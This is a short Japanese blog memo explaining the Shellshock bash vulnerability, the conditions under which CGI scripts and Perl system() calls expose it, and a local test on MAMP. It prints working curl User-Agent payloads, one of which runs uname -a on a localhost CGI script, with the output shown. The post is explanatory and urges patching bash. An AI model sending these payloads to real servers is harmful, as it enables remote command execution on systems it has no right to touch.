備忘録のため,内容の正当性については責任を持ちません。

少し出遅れた感があるが、bash の脆弱性 (CVE-2014-6271, CVE-2014-7169) の影響を受ける典型的な事例を示す。


この脆弱性の影響

特定の条件下で、攻撃者が OS に対して任意のコマンドを実行できる。詳細は参考ページなどを参照のこと。


結論

  • 第三者が「環境変数に任意の値を設定」して「bash を実行」できる状態だとやばい。
  • bash をアップデートしよう。

「環境変数に任意の値を設定」できる例

  • HTTP リクエストのヘッダに値を設定して、Perl/CGI スクリプトを実行する
    • HTTP_USER_AGENT などが手ごろ
  • PHP は CGI 版 PHP だと HTTP の環境変数がシェルの環境変数に入る模様

例えば curl なら -A オプションで User Agent の値を指定できる。

$ curl -A '() { :;}; echo vulnerable;' http://example.com/hoge.cgi

「bash が実行」される例

  • bash スクリプトを実行したとき
  • bash -c hoge のようなコマンドを実行したとき
  • /bin/sh実体が bash もしくは bash ベースになっている OS (確認した範囲だと CentOS や Mac) で、
    • シェルスクリプトを実行したとき
    • 各種言語で OS のシェルを呼び出す関数 (例: Perl の system()) を含むスクリプトを実行したとき

Perl の system() 関数は ;|> などを含むときのみシェルが起動されるようだ。Python の os.system() は単一のコマンドでもシェルを介すようだ。

#!/usr/bin/perl
system("echo hoge");            # echo が直接実行されるからセーフ
system("echo hoge; echo fuga"); # sh -c 'echo hoge; echo fuga' として実行されるからアウト

/bin/sh の実体が bash かどうかは --version オプションで確認できる。例えば OS X だと次のような結果になる。

$ /bin/sh --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.

このような環境で動いている Web サーバで、各種プログラミング言語の system() 関数を使うような Web アプリケーションを動かしていると、特に危ない。

検証

以上を踏まえて検証してみる。環境は MAMP を用いる。

Perl/CGI スクリプト

test.cgi:

#!/usr/bin/perl
system("echo hoge; echo fuga");

実行結果

$ curl -A '() { :;}; echo Content-type:text/plain; echo; /usr/bin/uname -a' http://localhost:8888/bash/test.cgi
Darwin MacBook-air 13.4.0 Darwin Kernel Version 13.4.0: Sun Aug 17 19:50:11 PDT 2014; root:xnu-2422.115.4~1/RELEASE_X86_64 x86_64

このように任意のコマンド (今回だと uname) を実行できた。

おわりに

今回は HTTP 経由の事例のみを挙げたが、他にも方法がありそうだ。例えば PHP の mail() や Ruby の Passenger、sendmail の .forward、dhcp クライアントなどが話題にあがっている。

何はともあれ早急に bash をアップデートした方が良さそうだ。

参考ページ

コメント

コメントする




CAPTCHA